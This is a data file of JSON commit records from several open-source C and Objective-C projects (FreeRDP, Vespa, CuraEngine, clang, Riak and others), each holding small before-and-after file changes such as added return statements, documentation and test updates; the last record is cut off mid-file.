{"commit":"8e642c9d00180261ee277a307618770b75b31d46","old_file":"server\/proxy\/filters\/filter_demo.c","new_file":"server\/proxy\/filters\/filter_demo.c","old_contents":"#include \"filters_api.h\"\n\nstatic PF_FILTER_RESULT demo_filter_keyboard_event(connectionInfo* info, void* param)\n{\n\tproxyKeyboardEventInfo* event_data = (proxyKeyboardEventInfo*) param;\n\treturn FILTER_PASS;\n}\n\nstatic PF_FILTER_RESULT demo_filter_mouse_event(connectionInfo* info, void* param)\n{\n\tproxyMouseEventInfo* event_data = (proxyMouseEventInfo*) param;\n\n    if (event_data->x % 100 == 0)\n    {\n        return FILTER_DROP;\n    }\n\n\treturn FILTER_PASS;\n}\n\nbool filter_init(proxyEvents* events)\n{\n\tevents->KeyboardEvent = demo_filter_keyboard_event;\n\tevents->MouseEvent = demo_filter_mouse_event;\n}\n","new_contents":"#include \"filters_api.h\"\n\nstatic PF_FILTER_RESULT demo_filter_keyboard_event(connectionInfo* info, void* param)\n{\n\tproxyKeyboardEventInfo* event_data = (proxyKeyboardEventInfo*) param;\n\treturn FILTER_PASS;\n}\n\nstatic PF_FILTER_RESULT demo_filter_mouse_event(connectionInfo* info, void* param)\n{\n\tproxyMouseEventInfo* event_data = (proxyMouseEventInfo*) param;\n\n    if (event_data->x % 100 == 0)\n    {\n        return FILTER_DROP;\n    }\n\n\treturn FILTER_PASS;\n}\n\nbool filter_init(proxyEvents* events)\n{\n\tevents->KeyboardEvent = demo_filter_keyboard_event;\n\tevents->MouseEvent = demo_filter_mouse_event;\n\n\treturn true;\n}\n","subject":"Add return statement in demo_filter.c","message":"server\/proxy: Add return statement in demo_filter.c\n","lang":"C","license":"apache-2.0","repos":"RangeeGmbH\/FreeRDP,mfleisz\/FreeRDP,erbth\/FreeRDP,ivan-83\/FreeRDP,akallabeth\/FreeRDP,mfleisz\/FreeRDP,FreeRDP\/FreeRDP,awakecoding\/FreeRDP,cedrozor\/FreeRDP,chipitsine\/FreeRDP,DavBfr\/FreeRDP,Devolutions\/FreeRDP,chipitsine\/FreeRDP,FreeRDP\/FreeRDP,Devolutions\/FreeRDP,ivan-83\/FreeRDP,ivan-83\/FreeRDP,FreeRDP\/FreeRDP,ivan-83\/FreeRDP,awakecoding\/FreeRDP,FreeRDP\/FreeRDP,Devolutions\/FreeRDP,DavBfr\/FreeRDP,erbth\/FreeRDP,chipitsine\/FreeRDP,erbth\/FreeRDP,akallabeth\/FreeRDP,cedrozor\/FreeRDP,chipitsine\/FreeRDP,FreeRDP\/FreeRDP,DavBfr\/FreeRDP,awakecoding\/FreeRDP,RangeeGmbH\/FreeRDP,DavBfr\/FreeRDP,RangeeGmbH\/FreeRDP,awakecoding\/FreeRDP,chipitsine\/FreeRDP,Devolutions\/FreeRDP,Devolutions\/FreeRDP,DavBfr\/FreeRDP,mfleisz\/FreeRDP,cedrozor\/FreeRDP,cedrozor\/FreeRDP,akallabeth\/FreeRDP,ivan-83\/FreeRDP,mfleisz\/FreeRDP,akallabeth\/FreeRDP,Devolutions\/FreeRDP,RangeeGmbH\/FreeRDP,chipitsine\/FreeRDP,cloudbase\/FreeRDP-dev,ivan-83\/FreeRDP,cedrozor\/FreeRDP,awakecoding\/FreeRDP,RangeeGmbH\/FreeRDP,DavBfr\/FreeRDP,cedrozor\/FreeRDP,akallabeth\/FreeRDP,mfleisz\/FreeRDP,ivan-83\/FreeRDP,RangeeGmbH\/FreeRDP,erbth\/FreeRDP,erbth\/FreeRDP,awakecoding\/FreeRDP,chipitsine\/FreeRDP,mfleisz\/FreeRDP,FreeRDP\/FreeRDP,FreeRDP\/FreeRDP,FreeRDP\/FreeRDP,cloudbase\/FreeRDP-dev,awakecoding\/FreeRDP,DavBfr\/FreeRDP,DavBfr\/FreeRDP,mfleisz\/FreeRDP,chipitsine\/FreeRDP,mfleisz\/FreeRDP,akallabeth\/FreeRDP,erbth\/FreeRDP,awakecoding\/FreeRDP,akallabeth\/FreeRDP,cloudbase\/FreeRDP-dev,RangeeGmbH\/FreeRDP,ivan-83\/FreeRDP,cedrozor\/FreeRDP,cloudbase\/FreeRDP-dev,Devolutions\/FreeRDP,cloudbase\/FreeRDP-dev,Devolutions\/FreeRDP,cloudbase\/FreeRDP-dev,akallabeth\/FreeRDP,erbth\/FreeRDP,cloudbase\/FreeRDP-dev,cedrozor\/FreeRDP,RangeeGmbH\/FreeRDP,erbth\/FreeRDP"}
{"commit":"63a9cf2dc50b7c83f99b95c1e7e63985c6e52343","old_file":"WatchKit\/SpecHelper\/WatchKit\/TestableWKInterfaceController.h","new_file":"WatchKit\/SpecHelper\/WatchKit\/TestableWKInterfaceController.h","old_contents":"#import <Foundation\/Foundation.h>\n\n\n@class WKInterfaceController;\n@class FakeInterfaceController;\n\n\n@protocol TestableWKInterfaceController <NSObject>\n\n- (void)awakeWithContext:(id)context;\n- (void)willActivate;\n- (void)didDeactivate;\n\n@optional\n\n- (void)pushControllerWithName:(NSString *)name context:(id)context;\n- (void)presentControllerWithName:(NSString *)name context:(id)context;\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n\n\n@class WKInterfaceController;\n@class FakeInterfaceController;\n\n\n@protocol TestableWKInterfaceController <NSObject>\n\n- (void)awakeWithContext:(id)context;\n- (void)willActivate;\n- (void)didDeactivate;\n\n@optional\n\n- (NSArray *)sent_messages;\n- (void)pushControllerWithName:(NSString *)name context:(id)context;\n- (void)presentControllerWithName:(NSString *)name context:(id)context;\n\n@end\n","subject":"Add sent_messages array to testable controller interface","message":"Add sent_messages array to testable controller interface\n","lang":"C","license":"mit","repos":"pivotaltracker\/PivotalCoreKit,gudatcomputers\/PivotalCoreKit,gudatcomputers\/PivotalCoreKit,briancroom\/PivotalCoreKit,mjstallard\/PivotalCoreKit,pivotal\/PivotalCoreKit,idoru\/PivotalCoreKit,idoru\/PivotalCoreKit,joemasilotti\/PivotalCoreKit,jfuchs\/PivotalCoreKit,joemasilotti\/PivotalCoreKit,jfuchs\/PivotalCoreKit"}
{"commit":"939eaa5c04c3953bf85a361d14f14a9f8cbb5fe0","old_file":"chapter1\/temp-rev.c","new_file":"chapter1\/temp-rev.c","old_contents":"","new_contents":"#include <stdio.h>\n\nmain() {\n    float fahr, celsius;\n    float lower, upper, step;\n\n    lower = 0;\n    upper = 300;\n    step = 20;\n\n    celsius = lower;\n\n    printf(\"%6s\\t%3s\\n\", \"celsius\", \"fahr\");\n\n    while (celsius <= upper) {\n        fahr = celsius * (9.0\/5.0) + 32.0;\n        printf(\"%6.1f\\t%3.0f\\n\", celsius, fahr);\n        celsius = celsius + step;\n    }\n}","subject":"Add chapter 1 extra exercises","message":"Add chapter 1 extra exercises\n","lang":"C","license":"mit","repos":"melonmanchan\/k-and-r"}
{"commit":"ba621e3b245e0ca2dcd80aeb1d51f617feceac51","old_file":"searchcore\/src\/vespa\/searchcore\/proton\/server\/executor_threading_service_stats.h","new_file":"searchcore\/src\/vespa\/searchcore\/proton\/server\/executor_threading_service_stats.h","old_contents":"\/\/ Copyright 2018 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#pragma once\n\n#include <vespa\/vespalib\/util\/threadstackexecutorbase.h>\n\nnamespace proton {\n\nclass ExecutorThreadingServiceStats {\npublic:\n    using Stats = vespalib::ThreadStackExecutorBase::Stats;\n\nprivate:\n    Stats _masterExecutorStats;\n    Stats _indexExecutorStats;\n    Stats _summaryExecutorStats;\n    Stats _indexFieldInverterExecutorStats;\n    Stats _indexFieldWriterExecutorStats;\n    Stats _attributeFieldWriterExecutorStats;\npublic:\n    ExecutorThreadingServiceStats(Stats masterExecutorStats,\n                                  Stats indexExecutorStats,\n                                  Stats summaryExecutorStats,\n                                  Stats indexFieldInverterExecutorStats,\n                                  Stats indexFieldWriterExecutorStats,\n                                  Stats attributeFieldWriterExecutorStats);\n    ~ExecutorThreadingServiceStats();\n\n    const Stats &getMasterExecutorStats() const { return _masterExecutorStats; }\n    const Stats &getIndexExecutorStats() const { return _indexExecutorStats; }\n    const Stats &getSummaryExecutorStats() const { return _summaryExecutorStats; }\n    const Stats &getIndexFieldInverterExecutorStats() const { return _indexFieldInverterExecutorStats; }\n    const Stats &getIndexFieldWriterExecutorStats() const { return _indexFieldWriterExecutorStats; }\n    const Stats &getAttributeFieldWriterExecutorStats() const { return _attributeFieldWriterExecutorStats; }\n};\n\n}\n","new_contents":"\/\/ Copyright 2018 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#pragma once\n\n#include <cstddef>\n#include <vespa\/vespalib\/util\/executor_stats.h>\n\nnamespace proton {\n\n\/*\n * This class contains executor stats for the executors used by a\n * document db.\n *\/\nclass ExecutorThreadingServiceStats {\npublic:\n    using Stats = vespalib::ExecutorStats;\n\nprivate:\n    Stats _masterExecutorStats;\n    Stats _indexExecutorStats;\n    Stats _summaryExecutorStats;\n    Stats _indexFieldInverterExecutorStats;\n    Stats _indexFieldWriterExecutorStats;\n    Stats _attributeFieldWriterExecutorStats;\npublic:\n    ExecutorThreadingServiceStats(Stats masterExecutorStats,\n                                  Stats indexExecutorStats,\n                                  Stats summaryExecutorStats,\n                                  Stats indexFieldInverterExecutorStats,\n                                  Stats indexFieldWriterExecutorStats,\n                                  Stats attributeFieldWriterExecutorStats);\n    ~ExecutorThreadingServiceStats();\n\n    const Stats &getMasterExecutorStats() const { return _masterExecutorStats; }\n    const Stats &getIndexExecutorStats() const { return _indexExecutorStats; }\n    const Stats &getSummaryExecutorStats() const { return _summaryExecutorStats; }\n    const Stats &getIndexFieldInverterExecutorStats() const { return _indexFieldInverterExecutorStats; }\n    const Stats &getIndexFieldWriterExecutorStats() const { return _indexFieldWriterExecutorStats; }\n    const Stats &getAttributeFieldWriterExecutorStats() const { return _attributeFieldWriterExecutorStats; }\n};\n\n}\n","subject":"Add class comment. Reduce indirections in using statement.","message":"Add class comment.\nReduce indirections in using statement.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"cdd4ecd92bd54375dccc90633994626932a8c2c5","old_file":"test\/test_parser_one.c","new_file":"test\/test_parser_one.c","old_contents":"#include \"test_parser.h\"\n\nvoid one_or_more_one(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"One\"),\n    rule_init(\n      \"One\",\n      one_or_more(\n        terminal(\"11\")\n      )\n    ), 1\n  );\n\n  parse_t *result = parse(\"11\", grammar);\n  assert_non_null(result);\n\n  assert_int_equal(result->length, 2);\n  assert_int_equal(result->n_children, 1);\n}\n\nvoid one_or_more_many(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"One\"),\n    rule_init(\n      \"One\",\n      one_or_more(\n        terminal(\"11\")\n      )\n    ), 1\n  );\n\n  parse_t *result = parse(\"1111111\", grammar);\n  assert_non_null(result);\n\n  assert_int_equal(result->length, 6);\n  assert_int_equal(result->n_children, 3);\n}\n\nvoid one_or_more_failure(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"One\"),\n    rule_init(\n      \"One\",\n      one_or_more(\n        terminal(\"11\")\n      )\n    ), 1\n  );\n\n  parse_t *result = parse(\"1\", grammar);\n  assert_null(result);\n}\n","new_contents":"#include \"test_parser.h\"\n\nvoid one_or_more_one(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"One\"),\n    rule_init(\n      \"One\",\n      one_or_more(\n        terminal(\"11\")\n      )\n    ), 1\n  );\n\n  parse_result_t *result = parse(\"11\", grammar);\n  assert_non_null(result);\n  assert_true(is_success(result));\n\n  parse_t *suc = result->data.result;\n  assert_int_equal(suc->length, 2);\n  assert_int_equal(suc->n_children, 1);\n}\n\nvoid one_or_more_many(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"One\"),\n    rule_init(\n      \"One\",\n      one_or_more(\n        terminal(\"11\")\n      )\n    ), 1\n  );\n\n  parse_result_t *result = parse(\"1111111\", grammar);\n  assert_non_null(result);\n  assert_true(is_success(result));\n\n  parse_t *suc = result->data.result;\n  assert_int_equal(suc->length, 6);\n  assert_int_equal(suc->n_children, 3);\n}\n\nvoid one_or_more_failure(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"One\"),\n    rule_init(\n      \"One\",\n      one_or_more(\n        terminal(\"11\")\n      )\n    ), 1\n  );\n\n  parse_result_t *result = parse(\"1\", grammar);\n  assert_non_null(result);\n  assert_true(is_error(result));\n}\n","subject":"Use new API on one or more tests","message":"Use new API on one or more tests\n","lang":"C","license":"mit","repos":"Baltoli\/peggo,Baltoli\/peggo"}
{"commit":"23f49ce7ef21eae1fc27b42f772e274f4f5ad81f","old_file":"JPEGReadWriter2Plugin\/Error.c","new_file":"JPEGReadWriter2Plugin\/Error.c","old_contents":"#include <stdio.h>\n#include \"jpeglib.h\"\n#include <setjmp.h>\n\nstruct error_mgr2 {\n  struct jpeg_error_mgr pub;\t\/* \"public\" fields *\/\n\n  jmp_buf setjmp_buffer;\t\/* for return to caller *\/\n};\n\ntypedef struct error_mgr2 * error_ptr2;\n\n\/*\n * Here's the routine that will replace the standard error_exit method:\n *\/\n\nvoid error_exit (j_common_ptr cinfo)\n{\n  \/* cinfo->err really points to a error_mgr2 struct, so coerce pointer *\/\n  error_ptr2 myerr = (error_ptr2) cinfo->err;\n\n  \/* Return control to the setjmp point *\/\n  longjmp(myerr->setjmp_buffer, 1);\n}\n\u001a","new_contents":"#include <stdio.h>\n#include \"jpeglib.h\"\n#include <setjmp.h>\n\nstruct error_mgr2 {\n  struct jpeg_error_mgr pub;\t\/* \"public\" fields *\/\n\n  jmp_buf setjmp_buffer;\t\/* for return to caller *\/\n};\n\ntypedef struct error_mgr2 * error_ptr2;\n\n\/*\n * Here's the routine that will replace the standard error_exit method:\n *\/\n\nvoid error_exit (j_common_ptr cinfo)\n{\n  \/* cinfo->err really points to a error_mgr2 struct, so coerce pointer *\/\n  error_ptr2 myerr = (error_ptr2) cinfo->err;\n\n  \/* Return control to the setjmp point *\/\n  longjmp(myerr->setjmp_buffer, 1);\n}\n","subject":"Remove nasty character at end of file that prevents compiles","message":"Remove nasty character at end of file that prevents compiles\n\n\ngit-svn-id: f18ccec24f938f15aa42574278fe0cc52f637e81@72 fa1542d4-bde8-0310-ad64-8ed1123d492a\n","lang":"C","license":"mit","repos":"peteruhnak\/pharo-vm,bencoman\/pharo-vm,peteruhnak\/pharo-vm,OpenSmalltalk\/vm,bencoman\/pharo-vm,OpenSmalltalk\/vm,bencoman\/pharo-vm,timfel\/squeakvm,OpenSmalltalk\/vm,peteruhnak\/pharo-vm,OpenSmalltalk\/vm,bencoman\/pharo-vm,bencoman\/pharo-vm,bencoman\/pharo-vm,OpenSmalltalk\/vm,timfel\/squeakvm,timfel\/squeakvm,bencoman\/pharo-vm,bencoman\/pharo-vm,peteruhnak\/pharo-vm,bencoman\/pharo-vm,timfel\/squeakvm,timfel\/squeakvm,timfel\/squeakvm,timfel\/squeakvm,peteruhnak\/pharo-vm,OpenSmalltalk\/vm,timfel\/squeakvm,peteruhnak\/pharo-vm,peteruhnak\/pharo-vm,OpenSmalltalk\/vm,OpenSmalltalk\/vm,peteruhnak\/pharo-vm"}
{"commit":"bdb9422317e0066978477b7e9c7b3063699aeb90","old_file":"shared\/types.h","new_file":"shared\/types.h","old_contents":"#pragma once\n\n#ifdef bool\n#undef bool\n#endif\n\ntypedef char bool;\n#define true 1\n#define false 0\n\ntypedef struct carp_thread* carp_thread_t;\ntypedef void(*carp_thread_routine)(void* arg);\n\ntypedef struct carp_library* carp_library_t;\n\n\/* Init\/shutdown *\/\n\nvoid carp_platform_init();\n\nvoid carp_platform_shutdown();\n\n\/* --- Threads --- *\/\n\ncarp_thread_t carp_thread_create(carp_thread_routine thread_routine, void* arg);\n\nvoid carp_thread_destroy(carp_thread_t thread);\n\n\/* --- Timing --- *\/\n\nint carp_millitime();\n\n\/* --- Libraries --- *\/\n\ncarp_library_t carp_load_library(const char* name);\n\nint carp_unload_library(carp_library_t lib);\n\nvoid* carp_find_symbol(carp_library_t lib, const char * name);\n\nchar* carp_get_load_library_error();\n\n\/* -- misc -- *\/\n\nvoid carp_sleep(int millis);\n\ntypedef enum CARP_PLATFORM {\n\tCARP_PLATFORM_OSX = 0,\n\tCARP_PLATFORM_WINDOWS = 1,\n\tCARP_PLATFORM_LINUX = 2,\n\tCARP_PLATFORM_UNKNOWN = 100\n} CARP_PLATFORM;\n\nCARP_PLATFORM carp_get_platform();\n\ntypedef struct {\n  int count;\n  void *data;\n} Array;\n\n","new_contents":"#pragma once\n\n#ifdef bool\n#undef bool\n#endif\n\ntypedef int bool;\n#define true 1\n#define false 0\n\ntypedef struct carp_thread* carp_thread_t;\ntypedef void(*carp_thread_routine)(void* arg);\n\ntypedef struct carp_library* carp_library_t;\n\n\/* Init\/shutdown *\/\n\nvoid carp_platform_init();\n\nvoid carp_platform_shutdown();\n\n\/* --- Threads --- *\/\n\ncarp_thread_t carp_thread_create(carp_thread_routine thread_routine, void* arg);\n\nvoid carp_thread_destroy(carp_thread_t thread);\n\n\/* --- Timing --- *\/\n\nint carp_millitime();\n\n\/* --- Libraries --- *\/\n\ncarp_library_t carp_load_library(const char* name);\n\nint carp_unload_library(carp_library_t lib);\n\nvoid* carp_find_symbol(carp_library_t lib, const char * name);\n\nchar* carp_get_load_library_error();\n\n\/* -- misc -- *\/\n\nvoid carp_sleep(int millis);\n\ntypedef enum CARP_PLATFORM {\n\tCARP_PLATFORM_OSX = 0,\n\tCARP_PLATFORM_WINDOWS = 1,\n\tCARP_PLATFORM_LINUX = 2,\n\tCARP_PLATFORM_UNKNOWN = 100\n} CARP_PLATFORM;\n\nCARP_PLATFORM carp_get_platform();\n\ntypedef struct {\n  int count;\n  void *data;\n} Array;\n\n","subject":"Change size of bool to 4","message":"Change size of bool to 4\n","lang":"C","license":"apache-2.0","repos":"carp-lang\/Carp,eriksvedang\/Carp,eriksvedang\/Carp,carp-lang\/Carp,carp-lang\/Carp"}
{"commit":"5f177712db6e42a07bb02fb4bbb75d7584559b1f","old_file":"src\/utils\/FMatrix3x3.h","new_file":"src\/utils\/FMatrix3x3.h","old_contents":"\/\/Copyright (c) 2020 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#ifndef FMATRIX3X3_H\n#define FMATRIX3X3_H\n\nnamespace cura\n{\n\nclass Point3;\nclass FPoint3;\n\nclass FMatrix3x3\n{\npublic:\n    double m[3][3];\n\n    FMatrix3x3();\n    \n    Point3 apply(const FPoint3& p) const;\n};\n\n} \/\/namespace cura\n#endif \/\/FMATRIX3X3_H","new_contents":"\/\/Copyright (c) 2020 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#ifndef FMATRIX3X3_H\n#define FMATRIX3X3_H\n\nnamespace cura\n{\n\nclass Point3;\nclass FPoint3;\n\n\/*!\n * A 3x3 linear transformation matrix.\n *\/\nclass FMatrix3x3\n{\npublic:\n\t\/*!\n\t * The matrix data, row-endian.\n\t * \n\t * The first index is the column. The second index is the row.\n\t *\/\n    double m[3][3];\n\n\t\/*!\n\t * Construct an identity matrix.\n\t *\/\n    FMatrix3x3();\n\n\t\/*!\n\t * Apply this transformation to a coordinate.\n\t *\n\t * The result will also be converted to an integer-based coordinate\n\t * (``Point3``).\n\t * \\param p The coordinate to transform.\n\t * \\return A transformed coordinate.\n\t *\/\n    Point3 apply(const FPoint3& p) const;\n};\n\n} \/\/namespace cura\n#endif \/\/FMATRIX3X3_H","subject":"Document the transformation matrix class","message":"Document the transformation matrix class\n\nBrief, but just the gist of what people need to know to use this class.\n\nContributes to issue CURA-7118.\n","lang":"C","license":"agpl-3.0","repos":"Ultimaker\/CuraEngine,Ultimaker\/CuraEngine"}
{"commit":"bc07a64f87d24b573e1661b84ffb8d35288469ab","old_file":"src\/tests\/unit\/dictionary\/linear_hash\/test_linear_hash.h","new_file":"src\/tests\/unit\/dictionary\/linear_hash\/test_linear_hash.h","old_contents":"#ifndef TEST_LINEAR_HASH_H_\n#define TEST_LINEAR_HASH_H_\n\n#include <stdio.h>\n#include <string.h>\n#include <limits.h>\n#include \"..\/..\/..\/planckunit\/src\/planck_unit.h\"\n#include \"..\/..\/..\/..\/dictionary\/linear_hash\/linear_hash.h\"\n\n#ifdef  __cplusplus\nextern \"C\" {\n#endif\n\nvoid\nrunalltests_linear_hash();\n\n#ifdef  __cplusplus\n}\n#endif\n\n#endif","new_contents":"#ifndef TEST_LINEAR_HASH_H_\n#define TEST_LINEAR_HASH_H_\n\n#include <stdio.h>\n#include <string.h>\n#include <limits.h>\n#include <math.h>\n#include \"..\/..\/..\/planckunit\/src\/planck_unit.h\"\n#include \"..\/..\/..\/..\/dictionary\/linear_hash\/linear_hash.h\"\n\n#ifdef  __cplusplus\nextern \"C\" {\n#endif\n\nvoid\nrunalltests_linear_hash();\n\n#ifdef  __cplusplus\n}\n#endif\n\n#endif","subject":"Add include for math.h to lin hash","message":"Add include for math.h to lin hash\n","lang":"C","license":"bsd-3-clause","repos":"iondbproject\/iondb,iondbproject\/iondb"}
{"commit":"3ded2006e60424de131b6ef246268ebe86b4299d","old_file":"test\/CodeGen\/vector.c","new_file":"test\/CodeGen\/vector.c","old_contents":"\/\/ RUN: clang-cc -emit-llvm %s -o -\ntypedef short __v4hi __attribute__ ((__vector_size__ (8)));\n\nvoid f()\n{\n    __v4hi A = (__v4hi)0LL;\n}\n\n__v4hi x = {1,2,3};\n__v4hi y = {1,2,3,4};\n\ntypedef int x __attribute((vector_size(16)));\nint a() { x b; return b[2LL]; }\n","new_contents":"\/\/ RUN: clang-cc -emit-llvm %s -o -\ntypedef short __v4hi __attribute__ ((__vector_size__ (8)));\n\nvoid f()\n{\n    __v4hi A = (__v4hi)0LL;\n}\n\n__v4hi x = {1,2,3};\n__v4hi y = {1,2,3,4};\n\ntypedef int vty __attribute((vector_size(16)));\nint a() { vty b; return b[2LL]; }\n","subject":"Fix silly mistake in test.","message":"Fix silly mistake in test.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@67897 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"33d12078e7e5a82f790781845d043d70511642dd","old_file":"test\/cunit\/test_log.c","new_file":"test\/cunit\/test_log.c","old_contents":"","new_contents":"\/*********************************************************************\n *\n * test_log.c:  Riak C Unit Testing logger\n *\n * Copyright (c) 2007-2014 Basho Technologies, Inc.  All Rights Reserved.\n *\n * This file is provided to you under the Apache License,\n * Version 2.0 (the \"License\"); you may not use this file\n * except in compliance with the License.  You may obtain\n * a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\n *********************************************************************\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <stddef.h>\n#include <string.h>\n#include <time.h>\n#include \"riak.h\"\n\nvoid\ntest_log(void            *ptr,\n         riak_log_level_t level,\n         const char      *file,\n         riak_size_t      filelen,\n         const char      *func,\n         riak_size_t      funclen,\n         riak_uint32_t    line,\n         const char      *format,\n         va_list          args) {\n    time_t ltime;\n    struct tm result;\n    char stime[32];\n    char output[2048];\n\n    ltime = time(NULL);\n    localtime_r(&ltime, &result);\n    strftime(stime, sizeof(stime), \"%F %X %Z\", &result);\n    riak_size_t wrote = snprintf(output, sizeof(output), \"%s %s \", stime, riak_log_level_description(level));\n    char *pos = output + wrote;\n    wrote += vsnprintf(pos, sizeof(output)-wrote, format, args);\n    if (wrote < sizeof(output)-1) {\n        strcat(output, \"\\n\");\n    }\n    \/\/ Just spew any output to stderr\n    fprintf(stderr, \"%s\", output);\n}\n","subject":"Add GET message integration test - Make unit testing write fuller test objects - Make the number of buckets\/keys in dummy object configurable - Add several helper functions like comparing binaries and objects - Improve error reporting in testing async callbacks","message":"Add GET message integration test\n- Make unit testing write fuller test objects\n- Make the number of buckets\/keys in dummy object configurable\n- Add several helper functions like comparing binaries and objects\n- Improve error reporting in testing async callbacks\n","lang":"C","license":"apache-2.0","repos":"basho-labs\/riak-c-client,basho-labs\/riak-c-client,basho-labs\/riak-c-client,basho-labs\/riak-c-client"}
{"commit":"ddbf27ab3cd541c7bff8781cca68e44acabf1285","old_file":"UnitTests\/Source\/GITTestHelper.h","new_file":"UnitTests\/Source\/GITTestHelper.h","old_contents":"#import <Foundation\/Foundation.h>\n#import <GHUnit\/GHUnit.h>\n\/\/#import <SenTestingKit\/SenTestingKit.h>\n\n#define COCOAGIT_REPO @\".\"\n#define TEST_RESOURCES_PATH @\"..\/..\/UnitTests\/Resources\/\"\n\n#define DOT_GIT TEST_RESOURCES_PATH @\"dot_git\/\"\n#define DELTA_REF_PACK TEST_RESOURCES_PATH @\"packs\/cg-0.2.5-deltaref-be5a15ac583f7ed1e431f03bd444bbde6511e57c.pack\"\n#define DELTA_OFS_PACK TEST_RESOURCES_PATH @\"packs\/cg-0.2.5-deltaofs-be5a15ac583f7ed1e431f03bd444bbde6511e57c.pack\"\n\n@interface GITTestHelper : NSObject\n{}\n+ (NSString *) createTempRepoWithDotGitDir:(NSString *)clonePath;\n+ (BOOL) removeTempRepoAtPath:(NSString *)aPath;\n+ (NSDictionary *)packedObjectInfo;\n@end","new_contents":"#import <Foundation\/Foundation.h>\n#import <GHUnit\/GHUnit.h>\n\/\/#import <SenTestingKit\/SenTestingKit.h>\n\n#define COCOAGIT_REPO @\".\"\n#define TEST_RESOURCES_PATH @\"..\/..\/UnitTests\/Resources\/\"\n#define TEST_FIXTURES_PATH TEST_RESOURCES_PATH @\"fixtures\/\"\n\n#define DOT_GIT TEST_RESOURCES_PATH @\"dot_git\/\"\n#define DELTA_REF_PACK TEST_RESOURCES_PATH @\"packs\/cg-0.2.5-deltaref-be5a15ac583f7ed1e431f03bd444bbde6511e57c.pack\"\n#define DELTA_OFS_PACK TEST_RESOURCES_PATH @\"packs\/cg-0.2.5-deltaofs-be5a15ac583f7ed1e431f03bd444bbde6511e57c.pack\"\n\n@interface GITTestHelper : NSObject\n{}\n+ (NSString *) createTempRepoWithDotGitDir:(NSString *)clonePath;\n+ (BOOL) removeTempRepoAtPath:(NSString *)aPath;\n+ (NSDictionary *)packedObjectInfo;\n@end","subject":"Add 'fixtures' path definition to test helper.","message":"Add 'fixtures' path definition to test helper.\n","lang":"C","license":"mit","repos":"geoffgarside\/cocoagit,geoffgarside\/cocoagit"}
{"commit":"0592fa31377e77d62caa48ef1fb41896d6eea791","old_file":"sketches\/utils\/blinkm_write_script\/light_script_aim.h","new_file":"sketches\/utils\/blinkm_write_script\/light_script_aim.h","old_contents":"","new_contents":"\/**\n * \"Aim lights\" light script\n *\n * Turn on all the lights for 30 seconds so they can be aimed\n *\/\n\n\/\/ Copied from todbot \n\/\/ format of light script lines: duration, command, arg1,arg2,arg3\ntypedef struct _blinkm_script_line {\n  uint8_t dur;\n  uint8_t cmd[4];    \/\/ cmd,arg1,arg2,arg3\n} blinkm_script_line;\n\n\/\/ start dark, lighten to mid-day, then slowly fade away\nblinkm_script_line script_lines[] = {\n {  1,  {'f', 1,00,00}},        \/\/ fade speed (slow)\n {  1,  {'t', 1,0,0}},          \/\/ time adjust (slower)\n { 300, {'c', 0xff,0xff,0xff}},  \/\/ stay bright for mid-day\n { 100, {'c', 0x00,0x00,0x00}},  \/\/ fade to black\n};\n\n","subject":"Set one LED group on for light aiming","message":"Set one LED group on for light aiming\n","lang":"C","license":"mit","repos":"wmadill\/grant-lighting,wmadill\/grant-lighting"}
{"commit":"d1947ce509d745f32db6b7fecc03dc9c778b9350","old_file":"SecurityPkg\/Include\/Guid\/TcgPhysicalPresenceStorageData.h","new_file":"SecurityPkg\/Include\/Guid\/TcgPhysicalPresenceStorageData.h","old_contents":"","new_contents":"\/** @file\r\n  Define the variable data structures used for physical presence storage data.\r\n\r\nCopyright (c) 2016, Intel Corporation. All rights reserved. <BR>\r\nThis program and the accompanying materials\r\nare licensed and made available under the terms and conditions of the BSD License\r\nwhich accompanies this distribution.  The full text of the license may be found at\r\nhttp:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef __TCG_PHYSICAL_PRESENCE_STORAGE_DATA_GUID_H__\r\n#define __TCG_PHYSICAL_PRESENCE_STORAGE_DATA_GUID_H__\r\n\r\n#define EFI_TCG_PHYSICAL_PRESENCE_STORAGE_DATA_GUID \\\r\n  { \\\r\n    0x2EBE3E34, 0xB3CD, 0x471A, { 0xBF, 0x87, 0xB3, 0xC6, 0x6E, 0xE0, 0x74, 0x9A} \\\r\n  